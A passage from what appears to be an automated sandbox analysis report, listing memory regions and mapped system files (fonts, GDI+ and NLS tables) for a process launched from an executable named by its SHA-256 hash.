name = "private_0x0000000000540000" filename = "" Region: id = 394 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 395 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 396 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 397 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 398 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 399 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 400 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 401 start_va = 0x510000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 402 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 403 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 404 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 405 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 406 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 407 start_va = 0x510000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 408 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 409 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 410 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 411 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 412 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 413 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 414 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 415 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 416 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 417 start_va = 0x400000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 418 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 419 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 420 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 421 start_va = 0x550000 end_va = 0x59ffff monitored = 1 entry_point = 0x58b7d2 region_type = mapped_file name = "fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe" filename = "\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe") Region: id = 422 start_va = 0x3c0000 end_va = 0x3c4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sorttbls.nlp" filename = "\\Windows\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp" (normalized: "c:\\windows\\assembly\\gac_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp") Region: id = 423 start_va = 0x550000 end_va = 0x590fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortkey.nlp" filename = "\\Windows\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp" (normalized: "c:\\windows\\assembly\\gac_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp") Region: id = 424 start_va = 0x7ff001f0000 end_va = 0x7ff001fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff001f0000" filename = "" Region: id = 425 start_va = 0x450000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 426 start_va = 0x3e0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 427 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 428 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 429 start_va = 0x510000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 430 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 431 start_va = 0x5a0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 432 start_va = 0x5b0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 433 start_va = 0x5c0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 434 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 435 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 436 start_va = 0x600000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 437 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 438 start_va = 0x620000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 439 start_va = 0x630000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 440 start_va = 0x5f0000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 441 start_va = 0x7fefb900000 end_va = 0x7fefbb14fff monitored = 0 entry_point = 0x7fefbad64b0 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 442 start_va = 0x1b0f0000 end_va = 0x1b24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 443 start_va = 0x1b300000 end_va = 0x1b3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b300000" filename = "" Region: id = 444 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 445 start_va = 0x7fefa690000 end_va = 0x7fefa696fff monitored = 0 entry_point = 0x7fefa6911a0 region_type = mapped_file name = "shfolder.dll" filename = "\\Windows\\System32\\shfolder.dll" (normalized: "c:\\windows\\system32\\shfolder.dll") Region: id = 446 start_va = 0x430000 end_va = 0x432fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "gdipfontcachev1.dat" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\gdipfontcachev1.dat") Region: id = 447 start_va = 0x440000 end_va = 0x446fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "marlett.ttf" filename = "\\Windows\\Fonts\\marlett.ttf" (normalized: "c:\\windows\\fonts\\marlett.ttf") Region: id = 448 start_va = 0x440000 end_va = 0x446fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "marlett.ttf" filename = "\\Windows\\Fonts\\marlett.ttf" (normalized: "c:\\windows\\fonts\\marlett.ttf") Region: id = 449 start_va = 0x1b0f0000 end_va = 0x1b1acfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arial.ttf" filename = "\\Windows\\Fonts\\arial.ttf" (normalized: "c:\\windows\\fonts\\arial.ttf") Region: id = 450 start_va = 0x1b240000 end_va = 0x1b24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b240000" filename = "" Region: id = 451 start_va = 0x1b0f0000 end_va = 0x1b1acfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arial.ttf" filename = "\\Windows\\Fonts\\arial.ttf" (normalized: "c:\\windows\\fonts\\arial.ttf") Region: id = 452 start_va = 0x1b400000 end_va = 0x1b4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b400000" filename = "" Region: id = 453 start_va = 0x2190000 end_va = 0x2217fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ariali.ttf" filename = "\\Windows\\Fonts\\ariali.ttf" (normalized: "c:\\windows\\fonts\\ariali.ttf") Region: id = 454 start_va = 0x2190000 end_va = 0x2217fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ariali.ttf" filename = "\\Windows\\Fonts\\ariali.ttf" (normalized: "c:\\windows\\fonts\\ariali.ttf") Region: id = 455 start_va = 0x1b0f0000 end_va = 0x1b1a6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialbd.ttf" filename = "\\Windows\\Fonts\\arialbd.ttf" (normalized: "c:\\windows\\fonts\\arialbd.ttf") Region: id = 456 start_va = 0x1b0f0000 end_va = 0x1b1a6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialbd.ttf" filename = "\\Windows\\Fonts\\arialbd.ttf" (normalized: "c:\\windows\\fonts\\arialbd.ttf") Region: id = 457 start_va = 0x2190000 end_va = 0x2219fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialbi.ttf" filename = "\\Windows\\Fonts\\arialbi.ttf" (normalized: "c:\\windows\\fonts\\arialbi.ttf") Region: id = 458 start_va = 0x2190000 end_va = 0x2219fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialbi.ttf" filename = "\\Windows\\Fonts\\arialbi.ttf" (normalized: "c:\\windows\\fonts\\arialbi.ttf") Region: id = 459 start_va = 0x1b500000 end_va = 0x1c482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "batang.ttc" filename = "\\Windows\\Fonts\\batang.ttc" (normalized: "c:\\windows\\fonts\\batang.ttc") Region: id = 460 start_va = 0x1b500000 end_va = 0x1c482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "batang.ttc" filename = "\\Windows\\Fonts\\batang.ttc" (normalized: "c:\\windows\\fonts\\batang.ttc") Region: id = 461 start_va = 0x1b500000 end_va = 0x1c482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "batang.ttc" filename = "\\Windows\\Fonts\\batang.ttc" (normalized: "c:\\windows\\fonts\\batang.ttc") Region: id = 462 start_va = 0x1c490000 end_va = 0x1c68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c490000" filename = "" Region: id = 463 start_va = 0x1b500000 end_va = 0x1c482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "batang.ttc" filename = "\\Windows\\Fonts\\batang.ttc" (normalized: "c:\\windows\\fonts\\batang.ttc") Region: id = 464 start_va = 0x1b500000 end_va = 0x1c482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "batang.ttc" filename = "\\Windows\\Fonts\\batang.ttc" (normalized: "c:\\windows\\fonts\\batang.ttc") Region: id = 465 start_va = 0x2190000 end_va = 0x223dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cour.ttf" filename = "\\Windows\\Fonts\\cour.ttf" (normalized: "c:\\windows\\fonts\\cour.ttf") Region: id = 466 start_va = 0x2190000 end_va = 0x223dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cour.ttf" filename = "\\Windows\\Fonts\\cour.ttf" (normalized: "c:\\windows\\fonts\\cour.ttf") Region: id = 467 start_va = 0x2190000 end_va = 0x2226fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "couri.ttf" filename = "\\Windows\\Fonts\\couri.ttf" (normalized: "c:\\windows\\fonts\\couri.ttf") Region: id = 468 start_va = 0x2190000 end_va = 0x2226fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "couri.ttf" filename = "\\Windows\\Fonts\\couri.ttf" (normalized: "c:\\windows\\fonts\\couri.ttf") Region: id = 469 start_va = 0x2190000 end_va = 0x223dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "courbd.ttf" filename = "\\Windows\\Fonts\\courbd.ttf" (normalized: "c:\\windows\\fonts\\courbd.ttf") Region: id = 470 start_va = 0x2190000 end_va = 0x223dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "courbd.ttf" filename = "\\Windows\\Fonts\\courbd.ttf" (normalized: "c:\\windows\\fonts\\courbd.ttf") Region: id = 471 start_va = 0x2190000 end_va = 0x2211fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "courbi.ttf" filename = "\\Windows\\Fonts\\courbi.ttf" (normalized: "c:\\windows\\fonts\\courbi.ttf") Region: id = 472 start_va = 0x2190000 end_va = 0x2211fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "courbi.ttf" filename = "\\Windows\\Fonts\\courbi.ttf" (normalized: "c:\\windows\\fonts\\courbi.ttf") Region: id = 473 start_va = 0x5b0000 end_va = 0x5defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "daunpenh.ttf" filename = "\\Windows\\Fonts\\daunpenh.ttf" (normalized: "c:\\windows\\fonts\\daunpenh.ttf") Region: id = 474 start_va = 0x5b0000 end_va = 0x5defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "daunpenh.ttf" filename = "\\Windows\\Fonts\\daunpenh.ttf" (normalized: "c:\\windows\\fonts\\daunpenh.ttf") Region: id = 475 start_va = 0x5b0000 end_va = 0x5d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dokchamp.ttf" filename = "\\Windows\\Fonts\\dokchamp.ttf" (normalized: "c:\\windows\\fonts\\dokchamp.ttf") Region: id = 476 start_va = 0x5b0000 end_va = 0x5d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dokchamp.ttf" filename = "\\Windows\\Fonts\\dokchamp.ttf" (normalized: "c:\\windows\\fonts\\dokchamp.ttf") Region: id = 477 start_va = 0x470000 end_va = 0x48afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "estre.ttf" filename = "\\Windows\\Fonts\\estre.ttf" (normalized: "c:\\windows\\fonts\\estre.ttf") Region: id = 478 start_va = 0x470000 end_va = 0x48afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "estre.ttf" filename = "\\Windows\\Fonts\\estre.ttf" (normalized: "c:\\windows\\fonts\\estre.ttf") Region: id = 479 start_va = 0x5b0000 end_va = 0x5dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "euphemia.ttf" filename = "\\Windows\\Fonts\\euphemia.ttf" (normalized: "c:\\windows\\fonts\\euphemia.ttf") Region: id = 480 start_va = 0x5b0000 end_va = 0x5dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "euphemia.ttf" filename = "\\Windows\\Fonts\\euphemia.ttf" (normalized: "c:\\windows\\fonts\\euphemia.ttf") Region: id = 481 start_va = 0x2190000 end_va = 0x21cefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gautami.ttf" filename = "\\Windows\\Fonts\\gautami.ttf" (normalized: "c:\\windows\\fonts\\gautami.ttf") Region: id = 482 start_va = 0x2190000 end_va = 0x21cefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gautami.ttf" filename = "\\Windows\\Fonts\\gautami.ttf" (normalized: "c:\\windows\\fonts\\gautami.ttf") Region: id = 483 start_va = 0x2190000 end_va = 0x21c6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gautamib.ttf" filename = "\\Windows\\Fonts\\gautamib.ttf" (normalized: "c:\\windows\\fonts\\gautamib.ttf") Region: id = 484 start_va = 0x2190000 end_va = 0x21c6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gautamib.ttf" filename = "\\Windows\\Fonts\\gautamib.ttf" (normalized: "c:\\windows\\fonts\\gautamib.ttf") Region: id = 485 start_va = 0x2190000 end_va = 0x21eefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vani.ttf" filename = "\\Windows\\Fonts\\Vani.ttf" (normalized: "c:\\windows\\fonts\\vani.ttf") Region: id = 486 start_va = 0x2190000 end_va = 0x21eefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vani.ttf" filename = "\\Windows\\Fonts\\Vani.ttf" (normalized: "c:\\windows\\fonts\\vani.ttf") Region: id = 487 start_va = 0x2190000 end_va = 0x21eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vanib.ttf" filename = "\\Windows\\Fonts\\Vanib.ttf" (normalized: "c:\\windows\\fonts\\vanib.ttf") Region: id = 488 start_va = 0x2190000 end_va = 0x21eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vanib.ttf" filename = "\\Windows\\Fonts\\Vanib.ttf" (normalized: "c:\\windows\\fonts\\vanib.ttf") Region: id = 489 start_va = 0x1b500000 end_va = 0x1c1e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gulim.ttc" filename = "\\Windows\\Fonts\\gulim.ttc" (normalized: "c:\\windows\\fonts\\gulim.ttc") Region: id = 490 start_va = 0x1b500000 end_va = 0x1c1e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gulim.ttc" filename = "\\Windows\\Fonts\\gulim.ttc" (normalized: "c:\\windows\\fonts\\gulim.ttc") Region: id = 491 start_va = 0x1b500000 end_va = 0x1c1e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gulim.ttc" filename = "\\Windows\\Fonts\\gulim.ttc" (normalized: "c:\\windows\\fonts\\gulim.ttc") Region: id = 492 start_va = 0x1b500000 end_va = 0x1c1e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gulim.ttc" filename = "\\Windows\\Fonts\\gulim.ttc" (normalized: "c:\\windows\\fonts\\gulim.ttc") Region: id = 493 start_va = 0x1c690000 end_va = 0x1ca8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c690000" filename = "" Region: id = 494 start_va = 0x1b500000 end_va = 0x1c1e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gulim.ttc" filename = "\\Windows\\Fonts\\gulim.ttc" (normalized: "c:\\windows\\fonts\\gulim.ttc") Region: id = 495 start_va = 0x5b0000 end_va = 0x5d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "impact.ttf" filename = "\\Windows\\Fonts\\impact.ttf" (normalized: "c:\\windows\\fonts\\impact.ttf") Region: id = 496 start_va = 0x5b0000 end_va = 0x5d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "impact.ttf" filename = "\\Windows\\Fonts\\impact.ttf" (normalized: "c:\\windows\\fonts\\impact.ttf") Region: id = 497 start_va = 0x2190000 end_va = 0x2215fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iskpota.ttf" filename = "\\Windows\\Fonts\\iskpota.ttf" (normalized: "c:\\windows\\fonts\\iskpota.ttf") Region: id = 498 start_va = 0x2190000 end_va = 0x2215fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iskpota.ttf" filename = "\\Windows\\Fonts\\iskpota.ttf" (normalized: "c:\\windows\\fonts\\iskpota.ttf") Region: id = 499 start_va = 0x2190000 end_va = 0x21eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iskpotab.ttf" filename = "\\Windows\\Fonts\\iskpotab.ttf" (normalized: "c:\\windows\\fonts\\iskpotab.ttf") Region: id = 500 start_va = 0x2190000 end_va = 0x21eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iskpotab.ttf" filename = "\\Windows\\Fonts\\iskpotab.ttf" (normalized: "c:\\windows\\fonts\\iskpotab.ttf") Region: id = 501 start_va = 0x2190000 end_va = 0x21c3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kalinga.ttf" filename = "\\Windows\\Fonts\\kalinga.ttf" (normalized: "c:\\windows\\fonts\\kalinga.ttf") Region: id = 502 start_va = 0x2190000 end_va = 0x21c3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kalinga.ttf" filename = "\\Windows\\Fonts\\kalinga.ttf" (normalized: "c:\\windows\\fonts\\kalinga.ttf") Region: id = 503 start_va = 0x2190000 end_va = 0x21c2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kalingab.ttf" filename = "\\Windows\\Fonts\\kalingab.ttf" (normalized: "c:\\windows\\fonts\\kalingab.ttf") Region: id = 504 start_va = 0x2190000 end_va = 0x21c2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kalingab.ttf" filename = "\\Windows\\Fonts\\kalingab.ttf" (normalized: "c:\\windows\\fonts\\kalingab.ttf") Region: id = 505 start_va = 0x5b0000 end_va = 0x5d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kartika.ttf" filename = "\\Windows\\Fonts\\kartika.ttf" (normalized: "c:\\windows\\fonts\\kartika.ttf") Region: id = 506 start_va = 0x5b0000 end_va = 0x5d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kartika.ttf" filename = "\\Windows\\Fonts\\kartika.ttf" (normalized: "c:\\windows\\fonts\\kartika.ttf") Region: id = 507 start_va = 0x470000 end_va = 0x48efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kartikab.ttf" filename = "\\Windows\\Fonts\\kartikab.ttf" (normalized: "c:\\windows\\fonts\\kartikab.ttf") Region: id = 508 start_va = 0x470000 end_va = 0x48efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kartikab.ttf" filename = "\\Windows\\Fonts\\kartikab.ttf" (normalized: "c:\\windows\\fonts\\kartikab.ttf") Region: id = 509 start_va = 0x2190000 end_va = 0x21e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "khmerui.ttf" filename = "\\Windows\\Fonts\\KhmerUI.ttf" (normalized: "c:\\windows\\fonts\\khmerui.ttf") Region: id = 510 start_va = 0x2190000 end_va = 0x21e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "khmerui.ttf" filename = "\\Windows\\Fonts\\KhmerUI.ttf" (normalized: "c:\\windows\\fonts\\khmerui.ttf") Region: id = 511 start_va = 0x2190000 end_va = 0x21d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "khmeruib.ttf" filename = "\\Windows\\Fonts\\KhmerUIb.ttf" (normalized: "c:\\windows\\fonts\\khmeruib.ttf") Region: id = 512 start_va = 0x2190000 end_va = 0x21d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "khmeruib.ttf" filename = "\\Windows\\Fonts\\KhmerUIb.ttf" (normalized: "c:\\windows\\fonts\\khmeruib.ttf") Region: id = 513 start_va = 0x470000 end_va = 0x487fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "laoui.ttf" filename = "\\Windows\\Fonts\\LaoUI.ttf" (normalized: "c:\\windows\\fonts\\laoui.ttf") Region: id = 514 start_va = 0x470000 end_va = 0x487fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "laoui.ttf" filename = "\\Windows\\Fonts\\LaoUI.ttf" (normalized: "c:\\windows\\fonts\\laoui.ttf") Region: id = 515 start_va = 0x470000 end_va = 0x485fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "laouib.ttf" filename = "\\Windows\\Fonts\\LaoUIb.ttf" (normalized: "c:\\windows\\fonts\\laouib.ttf") Region: id = 516 start_va = 0x470000 end_va = 0x485fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "laouib.ttf" filename = "\\Windows\\Fonts\\LaoUIb.ttf" (normalized: "c:\\windows\\fonts\\laouib.ttf") Region: id = 517 start_va = 0x470000 end_va = 0x48dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "latha.ttf" filename = "\\Windows\\Fonts\\latha.ttf" (normalized: "c:\\windows\\fonts\\latha.ttf") Region: id = 518 start_va = 0x470000 end_va = 0x48dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "latha.ttf" filename = "\\Windows\\Fonts\\latha.ttf" (normalized: "c:\\windows\\fonts\\latha.ttf") Region: id = 519 start_va = 0x470000 end_va = 0x48dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lathab.ttf" filename = "\\Windows\\Fonts\\lathab.ttf" (normalized: "c:\\windows\\fonts\\lathab.ttf") Region: id = 520 start_va = 0x470000 end_va = 0x48dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lathab.ttf" filename = "\\Windows\\Fonts\\lathab.ttf" (normalized: "c:\\windows\\fonts\\lathab.ttf") Region: id = 521 start_va = 0x470000 end_va = 0x48cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lucon.ttf" filename = "\\Windows\\Fonts\\lucon.ttf" (normalized: "c:\\windows\\fonts\\lucon.ttf") Region: id = 522 start_va = 0x470000 end_va = 0x48cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lucon.ttf" filename = "\\Windows\\Fonts\\lucon.ttf" (normalized: "c:\\windows\\fonts\\lucon.ttf") Region: id = 523 start_va = 0x1b500000 end_va = 0x1b922fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "malgun.ttf" filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf") Region: id = 524 start_va = 0x1b500000 end_va = 0x1b922fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "malgun.ttf" filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf") Region: id = 525 start_va = 0x1b500000 end_va = 0x1b94efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "malgunbd.ttf" filename = "\\Windows\\Fonts\\malgunbd.ttf" (normalized: "c:\\windows\\fonts\\malgunbd.ttf") Region: id = 526 start_va = 0x1b500000 end_va = 0x1b94efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "malgunbd.ttf" filename = "\\Windows\\Fonts\\malgunbd.ttf" (normalized: "c:\\windows\\fonts\\malgunbd.ttf") Region: id = 527 start_va = 0x2190000 end_va = 0x21c2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mangal.ttf" filename = "\\Windows\\Fonts\\mangal.ttf" (normalized: "c:\\windows\\fonts\\mangal.ttf") Region: id = 528 start_va = 0x2190000 end_va = 0x21c2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mangal.ttf" filename = "\\Windows\\Fonts\\mangal.ttf" (normalized: "c:\\windows\\fonts\\mangal.ttf") Region: id = 529 start_va = 0x5b0000 end_va = 0x5defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mangalb.ttf" filename = "\\Windows\\Fonts\\mangalb.ttf" (normalized: "c:\\windows\\fonts\\mangalb.ttf") Region: id = 530 start_va = 0x5b0000 end_va = 0x5defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mangalb.ttf" filename = "\\Windows\\Fonts\\mangalb.ttf" (normalized: "c:\\windows\\fonts\\mangalb.ttf") Region: id = 531 start_va = 0x1b500000 end_va = 0x1be17fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryo.ttc" filename = "\\Windows\\Fonts\\meiryo.ttc" (normalized: "c:\\windows\\fonts\\meiryo.ttc") Region: id = 532 start_va = 0x1b500000 end_va = 0x1be17fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryo.ttc" filename = "\\Windows\\Fonts\\meiryo.ttc" (normalized: "c:\\windows\\fonts\\meiryo.ttc") Region: id = 533 start_va = 0x1b500000 end_va = 0x1be17fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryo.ttc" filename = "\\Windows\\Fonts\\meiryo.ttc" (normalized: "c:\\windows\\fonts\\meiryo.ttc") Region: id = 534 start_va = 0x1b500000 end_va = 0x1be17fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryo.ttc" filename = "\\Windows\\Fonts\\meiryo.ttc" (normalized: "c:\\windows\\fonts\\meiryo.ttc") Region: id = 535 start_va = 